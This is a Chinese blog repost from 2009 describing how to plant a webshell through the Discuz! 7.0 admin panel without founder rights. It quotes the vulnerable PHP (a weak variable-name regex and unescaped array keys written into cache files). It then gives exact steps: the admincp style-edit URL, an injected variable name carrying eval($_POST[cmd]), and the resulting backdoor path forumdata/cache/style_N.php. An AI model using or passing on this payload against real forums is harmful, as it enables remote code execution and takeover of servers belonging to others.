数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



Discuz! 7.0 及以下版本后台拿webshell(无需创始人)
樱木花盗 发表于 2009-7-15 7:32:47

转自:http://www.liguiyexing.cn/ArticleView.asp?id=11
我先声明:
1.这个不是我首发,很多牛牛很早之前就发现了,但没人公布,ring04h牛那貌似有个:
http://ring04h.googlepages.com/dzshell.txt,估计知道的人很多了,我研究的少,知道迟了,惭愧惭愧;
2.我从拿到shell的IIS日志知道这里可以利用,即styles.inc.php这个文件,于是看了下,找到利用办法。后来经flyh4t提醒,居然与ring04h的那个方法一样,我落后了...
好了,不废话,看代码:
引用:
1.<?php
2.......
3.if($newcvar && $newcsubst) {
4.if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE 5.variable='$newcvar' AND styleid='$id'")) {
6.cpmsg('styles_edit_variable_duplicate', '', 'error');
7.} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
8.cpmsg('styles_edit_variable_illegal', '', 'error');
9.}
10.$newcvar = strtolower($newcvar);
11.$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
12.VALUES ('$id', '$newcvar', '$newcsubst')");
12.}//插入变量数据,......
13.updatecache('styles');//更新缓存(写文件)
14.......
15.?>
这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。
这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar),其中“\x7f-\xff”是指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:
引用:

1.<?php
2.$newcvar=$_GET['newcvar'];
3.echo $newcvar;
4.echo "<br>";
5.if(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
6.echo "haha";
7.}else{
8.echo 'pass';
9.}
10.?>
下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只谈谈重点,看一段函数:
引用:

1.function getcachevars($data, $type = 'VAR') {
2.$evaluate = '';
3.foreach($data as $key => $val) {
4.if(is_array($val)) {
5.$evaluate .= "\$$key = ".arrayeval($val).";\n";
6.} else {
7.$val = addcslashes($val, '\'\\');
8.$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
9.}
10.}
11.return $evaluate;
12.}
啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了...
于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:
http://论坛地址/admincp.php?action=styles&operation=edit&id=1&adv=1
中,最下面有个“自定义模板变量”,变量中填:
引用:
OLDJUN', '#999');eval($_POST[cmd]);//
替换内容随便输入:1111,然后提交,一句话木马就产生了:
http://论坛地址/forumdata/cache/style_1.php
如果你修改的style的id是2的话,对于的shell就是style_2.php。
这个风格模板可以导入导出的,于是有了ring04h的那个dzshell,嫌麻烦可以直接用那个导入风格获取shell。

阅读全文 | 回复(1) | 引用通告 | 编辑
 


Re:Discuz! 7.0 及以下版本后台拿webshell(无需创始人)
x(游客)发表评论于2009-8-12 10:52:13
是oldjun的

个人主页 | 引用 | 返回 | 删除 | 回复
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.